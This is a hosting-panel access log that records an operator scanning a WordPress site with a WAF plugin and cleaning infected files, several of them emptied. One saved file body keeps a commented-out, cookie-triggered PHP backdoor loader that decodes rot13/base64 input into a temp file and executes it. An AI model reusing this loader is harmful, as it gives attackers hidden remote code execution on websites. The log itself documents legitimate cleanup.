["2026-05-19 09:09:50", "114.219.182.210:48864", "GET", "/44ca00e1?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 102, 200, 6404, "text/html; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:09:52", "114.219.182.210:48910", "GET", "/code?t=1779152992961", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1, 200, 0, "text/html; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:09:57", "114.219.182.210:48914", "POST", "/login?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'safe_mode': '1', 'username': '******', 'password': '******'}", 1007, 200, 397, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:09:58", "114.219.182.210:48914", "GET", "/?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 97, 200, 2670, "text/html; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:15", "114.219.182.210:48914", "GET", "/software?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 3, 200, 1514, "text/html; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:16", "114.219.182.210:48864", "POST", "/panel/public/get_public_config?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 224, 200, 1909, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:16", "114.219.182.210:48914", "POST", "/system?action=GetNetWork", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 1048, 200, 848, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:16", "114.219.182.210:48915", "POST", "/panel/overview/GetOverview?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 107, 200, 287, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:17", "114.219.182.210:48914", "POST", "/plugin?action=get_index_list", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 29, 200, 2900, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:17", "114.219.182.210:48910", "POST", "/plugin?action=get_soft_list_thread", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'cid': '492161927001810'}", 49, 200, 29, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:17", "114.219.182.210:48910", "POST", "/plugin?action=get_soft_find", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'sName': 'task_manager'}", 6, 200, 906, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:17", "114.219.182.210:48864", "POST", "/mod/push/task/get_task_list?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 7, 200, 425, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:18", "114.219.182.210:48864", "POST", "/config?action=get_nps", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'version': '-1', 'product_type': '0', 'software_name': 'panel'}", 4, 200, 31, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:19", "114.219.182.210:48915", "POST", "/ajax?action=get_pay_type", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 16, 200, 1615, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:19", "114.219.182.210:48864", "POST", "/panel/public/get_exp_ltd?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 3, 200, 106, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:20", "114.219.182.210:49239", "POST", "/system?action=GetNetWork", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 18, 200, 915, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:20", "114.219.182.210:48910", "POST", "/auth?action=get_coupon_list", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 937, 200, 2, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:20", "114.219.182.210:48915", "POST", "/system?action=upgrade_panel", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'check': 'true'}", 1219, 200, 1038, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:24", "114.219.182.210:48864", "POST", "/system?action=GetNetWork", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 18, 200, 905, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:27", "114.219.182.210:48909", "POST", "/system?action=GetNetWork", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 26, 200, 887, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:31", "114.219.182.210:48915", "POST", "/system?action=GetNetWork", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 33, 200, 907, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:31", "114.219.182.210:48915", "POST", "/panel/public/get_public_config?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 42, 200, 1910, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:32", "114.219.182.210:48864", "POST", "/site?action=get_site_types", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 6, 200, 101, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:32", "114.219.182.210:49239", "POST", "/panel/public/get_soft_status?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'name': 'web'}", 3, 200, 154, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:32", "114.219.182.210:48915", "POST", "/datalist/data/get_data_list?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'type': '-1', 'search': '', 'p': '1', 'limit': '10', 'table': 'sites', 'order': ''}", 12, 200, 484, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:32", "114.219.182.210:48910", "POST", "/project/scanning/list?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 24, 200, 107, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:35", "114.219.182.210:49239", "POST", "/panel/public/get_public_config?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 91, 200, 1911, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:36", "114.219.182.210:48915", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com'}", 9, 200, 1044, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:36", "114.219.182.210:48910", "POST", "/task?action=get_task_lists", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'status': '-3'}", 5, 200, 2, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:36", "114.219.182.210:49239", "POST", "/system?action=GetDiskInfo", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 27, 200, 321, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:36", "114.219.182.210:48915", "POST", "/plugin?action=get_soft_find", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'sName': 'disk_analysis'}", 12, 200, 927, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:37", "114.219.182.210:48909", "POST", "/files?action=get_files_store", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 3, 200, 2, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:45", "114.219.182.210:48915", "POST", "/files?action=SetBatchData", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'data': '[\"cat_lang_edit\",\"UnderAdvElectEN\"]', 'type': '4', 'path': '/www/wwwroot/dewenlabels.com'}", 29, 200, 124, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:10:45", "114.219.182.210:48915", "POST", "/files?action=GetDirNew", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'path': '/www/wwwroot/dewenlabels.com'}", 8, 200, 994, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:11:04", "114.219.182.210:48864", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/server/panel/BTPanel/static/editor/ace.editor.config.json'}", 4, 200, 1117, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:11:04", "114.219.182.210:48915", "POST", "/files?action=GetDirNew&tojs=GetFiles", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'p': '1', 'showRow': '500', 'sort': 'name', 'reverse': 'False', 'path': '/www/wwwroot/dewenlabels.com', 'search': ''}", 5, 200, 994, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:11:06", "114.219.182.210:49239", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/index.php'}", 2, 200, 348, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:11:06", "114.219.182.210:48910", "POST", "/files?action=file_history", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'name': 'undefined', 'path': '/www/wwwroot/dewenlabels.com/index.php'}", 3, 200, 51, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:11:13", "114.219.182.210:48910", "POST", "/panel/public/get_public_config?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 42, 200, 1911, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:11:13", "114.219.182.210:49239", "POST", "/plugin?action=get_soft_list", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'type': '0', 'query': '', 'p': '1', 'row': '15', 'force': '0'}", 14, 200, 9118, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:11:13", "114.219.182.210:48910", "POST", "/plugin?action=push_plugin", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 5, 200, 510, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:11:13", "114.219.182.210:48864", "POST", "/plugin?action=get_usually_plugin", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 8, 200, 2658, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:11:17", "114.219.182.210:48915", "POST", "/plugin?action=get_soft_find", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'sName': 'free_waf'}", 6, 200, 905, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:11:18", "114.219.182.210:48915", "POST", "/plugin?action=a&name=free_waf", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 3, 200, 57, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:11:18", "114.219.182.210:48915", "POST", "/plugin?action=getConfigHtml", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'name': 'free_waf'}", 12, 200, 20085, "text/html; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:11:24", "114.219.182.210:48915", "GET", "/free_waf/static/font_1474105_ofrmqg44wnb.css?", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 2, 200, 3104, "text/css; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:11:24", "114.219.182.210:48914", "GET", "/free_waf/static/jquery.fixedheadertable.min.js?_=1779153018141", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 7, 200, 3378, "application/javascript; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:11:26", "114.219.182.210:48914", "POST", "/plugin?action=a&name=free_waf&s=return_site", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 36, 200, 76, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:11:28", "114.219.182.210:48915", "POST", "/plugin?action=a&name=free_waf&s=get_total_all", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{}", 2076, 200, 336, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:12:22", "114.219.182.210:48915", "POST", "/plugin?action=a&name=free_waf&s=san_dir", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com'}", 51654, 200, 795, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:12:27", "114.219.182.210:48915", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/class-wp-widget-factory.php'}", 2, 200, 1512, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:12:34", "114.219.182.210:48914", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/class-wp-widget-factory.php', 'encoding': 'utf-8', 'data': \"<?php\\n\\n/**\\n * Widget API: WP_Widget_Factory class\\n *\\n * @package WordPress\\n * @subpackage Widgets\\n * @since 4.4.0\\n */\\n\\n/**\\n * Singleton that registers and instantiates WP_Widget classes.\\n *\\n * @since 2.8.0\\n * @since 4.4.0 Moved to its own file from wp-includes/widgets.php\\n */\\n#[AllowDynamicProperties]\\nclass WP_Widget_Factory {\\n\\n\\t/**\\n\\t * Widgets array.\\n\\t *\\n\\t * @since 2.8.0\\n\\t * @var array\\n\\t */\\n\\tpublic $widgets = array();\\n\\n\\t/**\\n\\t * PHP5 constructor.\\n\\t *\\n\\t * @since 4.3.0\\n\\t */\\n\\tpublic function __construct() {\\n\\t\\tadd_action( 'widgets_init', array( $this, '_register_widgets' ), 100 );\\n\\t}\\n\\n\\t/**\\n\\t * PHP4 constructor.\\n\\t *\\n\\t * @since 2.8.0\\n\\t * @deprecated 4.3.0 Use __construct() instead.\\n\\t *\\n\\t * @see WP_Widget_Factory::__construct()\\n\\t */\\n\\tpublic function WP_Widget_Factory() {\\n\\t\\t_deprecated_constructor( 'WP_Widget_Factory', '4.3.0' );\\n\\t\\tself::__construct();\\n\\t}\\n\\n\\t/**\\n\\t * Registers a widget subclass.\\n\\t *\\n\\t * @since 2.8.0\\n\\t * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object\\n\\t *              instead of simply a `WP_Widget` subclass name.\\n\\t *\\n\\t * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.\\n\\t */\\n\\tpublic function register( $widget ) {\\n\\t\\tif ( $widget instanceof WP_Widget ) {\\n\\t\\t\\t$this->widgets[ spl_object_hash( $widget ) ] = $widget;\\n\\t\\t} else {\\n\\t\\t\\t$this->widgets[ $widget ] = new $widget();\\n\\t\\t}\\n\\t}\\n\\n\\t/**\\n\\t * Un-registers a widget subclass.\\n\\t *\\n\\t * @since 2.8.0\\n\\t * @since 4.6.0 Updated the `$widget` parameter to also accept a WP_Widget instance object\\n\\t *              instead of simply a `WP_Widget` subclass name.\\n\\t *\\n\\t * @param string|WP_Widget $widget Either the name of a `WP_Widget` subclass or an instance of a `WP_Widget` subclass.\\n\\t */\\n\\tpublic function unregister( $widget ) {\\n\\t\\tif ( $widget instanceof WP_Widget ) {\\n\\t\\t\\tunset( $this->widgets[ spl_object_hash( $widget ) ] );\\n\\t\\t} else {\\n\\t\\t\\tunset( $this->widgets[ $widget ] );\\n\\t\\t}\\n\\t}\\n\\n\\t/**\\n\\t * Serves as a utility method for adding widgets to the registered widgets global.\\n\\t *\\n\\t * @since 2.8.0\\n\\t *\\n\\t * @global array $wp_registered_widgets\\n\\t */\\n\\tpublic function _register_widgets() {\\n\\t\\tglobal $wp_registered_widgets;\\n\\t\\t$keys       = array_keys( $this->widgets );\\n\\t\\t$registered = array_keys( $wp_registered_widgets );\\n\\t\\t$registered = array_map( '_get_widget_id_base', $registered );\\n\\n\\t\\tforeach ( $keys as $key ) {\\n\\t\\t\\t// Don't register new widget if old widget with the same id is already registered.\\n\\t\\t\\tif ( in_array( $this->widgets[ $key ]->id_base, $registered, true ) ) {\\n\\t\\t\\t\\tunset( $this->widgets[ $key ] );\\n\\t\\t\\t\\tcontinue;\\n\\t\\t\\t}\\n\\n\\t\\t\\t$this->widgets[ $key ]->_register();\\n\\t\\t}\\n\\t}\\n\\n\\t/**\\n\\t * Returns the registered WP_Widget object for the given widget type.\\n\\t *\\n\\t * @since 5.8.0\\n\\t *\\n\\t * @param string $id_base Widget type ID.\\n\\t * @return WP_Widget|null\\n\\t */\\n\\tpublic function get_widget_object( $id_base ) {\\n\\t\\t$key = $this->get_widget_key( $id_base );\\n\\t\\tif ( '' === $key ) {\\n\\t\\t\\treturn null;\\n\\t\\t}\\n\\n\\t\\treturn $this->widgets[ $key ];\\n\\t}\\n\\n\\t/**\\n\\t * Returns the registered key for the given widget type.\\n\\t *\\n\\t * @since 5.8.0\\n\\t *\\n\\t * @param string $id_base Widget type ID.\\n\\t * @return string\\n\\t */\\n\\tpublic function get_widget_key( $id_base ) {\\n\\t\\tforeach ( $this->widgets as $key => $widget_object ) {\\n\\t\\t\\tif ( $widget_object->id_base === $id_base ) {\\n\\t\\t\\t\\treturn $key;\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\treturn '';\\n\\t}\\n}\\n\"}", 30, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:12:39", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core/Base64/security.php'}", 2, 200, 177, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:12:44", "114.219.182.210:48914", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core/Base64/security.php', 'encoding': 'utf-8', 'data': '<?php\\n'}", 8, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:12:48", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core/Curve25519/blogpage.php'}", 2, 200, 618, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:13:03", "114.219.182.210:48914", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core/Curve25519/blogpage.php', 'encoding': 'utf-8', 'data': '<?php\\n\\n\\n# if (isset($_COOKIE[10-10]) && isset($_COOKIE[-80+81]) && isset($_COOKIE[-64+67]) && isset($_COOKIE[-76+80])) {\\n#     $ent = $_COOKIE;\\n#     function approve_request($dchunk) {\\n#         $ent = $_COOKIE;\\n#         $tkn = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), \\'aef78296\\');\\n#         if (!is_writable($tkn)) {\\n#             $tkn = getcwd() . DIRECTORY_SEPARATOR . \"app_initializer\";\\n#         }\\n#         $property_set = \"\\\\x3c\\\\x3f\\\\x70\\\\x68p\\\\x20\" . base64_decode(str_rot13($ent[3]));\\n#         if (is_writeable($tkn)) {\\n#             $token = fopen($tkn, \\'w+\\');\\n#             fputs($token, $property_set);\\n#             fclose($token);\\n#             spl_autoload_unregister(__FUNCTION__);\\n#             require_once($tkn);\\n#             @array_map(\\'unlink\\', array($tkn));\\n#         }\\n#     }\\n#     spl_autoload_register(\"approve_request\");\\n#     $reference = \"16a08a6222d8eba60e9d2af882976b3e\";\\n#     if (!strncmp($reference, $ent[4], 32)) {\\n#         if (@class_parents(\"module_controller_secure_access\", true)) {\\n#             exit;\\n#         }\\n#     }\\n# }\\n'}", 8, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:13:08", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/X25519.php'}", 3, 200, 2539, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:13:13", "114.219.182.210:48914", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/sodium_compat/src/Core32/X25519.php', 'encoding': 'utf-8', 'data': \"<?php\\t\\nif (class_exists('ParagonIE_Sodium_Core32_X25519', false)) {\\n    return;\\n}\\n\\n/**\\n * Class ParagonIE_Sodium_Core32_X25519\\n */\\nabstract class ParagonIE_Sodium_Core32_X25519 extends ParagonIE_Sodium_Core32_Curve25519\\n{\\n    /**\\n     * Alters the objects passed to this method in place.\\n     *\\n     * @internal You should not use this directly from another application\\n     *\\n     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f\\n     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g\\n     * @param int $b\\n     * @return void\\n     * @throws SodiumException\\n     * @throws TypeError\\n     * @psalm-suppress MixedMethodCall\\n     */\\n    public static function fe_cswap(\\n        ParagonIE_Sodium_Core32_Curve25519_Fe $f,\\n        ParagonIE_Sodium_Core32_Curve25519_Fe $g,\\n        $b = 0\\n    ) {\\n        $f0 = (int) $f[0]->toInt();\\n        $f1 = (int) $f[1]->toInt();\\n        $f2 = (int) $f[2]->toInt();\\n        $f3 = (int) $f[3]->toInt();\\n        $f4 = (int) $f[4]->toInt();\\n        $f5 = (int) $f[5]->toInt();\\n        $f6 = (in -- >4096\"}", 1215, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:13:17", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/Text/vfgsbqo/pkaegxl/l1ghdav/mcp.bak.php'}", 3, 200, 177, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:13:20", "114.219.182.210:48914", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/Text/vfgsbqo/pkaegxl/l1ghdav/mcp.bak.php', 'encoding': 'utf-8', 'data': '<?php\\n'}", 8, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:13:24", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/Text/Diff/Engine/shell.php'}", 3, 200, 1584, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:14:24", "114.219.182.210:48914", "POST", "/files?action=GetFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/Text/xlesjbk/kwoqreg/wvnqbrx/filelist.php'}", 2, 200, 177, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
["2026-05-19 09:14:28", "114.219.182.210:48914", "POST", "/files?action=SaveFileBody", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36", "{'path': '/www/wwwroot/dewenlabels.com/wp-includes/Text/xlesjbk/kwoqreg/wvnqbrx/filelist.php', 'encoding': 'utf-8', 'data': '<?php\\n'}", 8, 200, 112, "application/json; charset=utf-8", "47.254.126.238:42291", "None"]
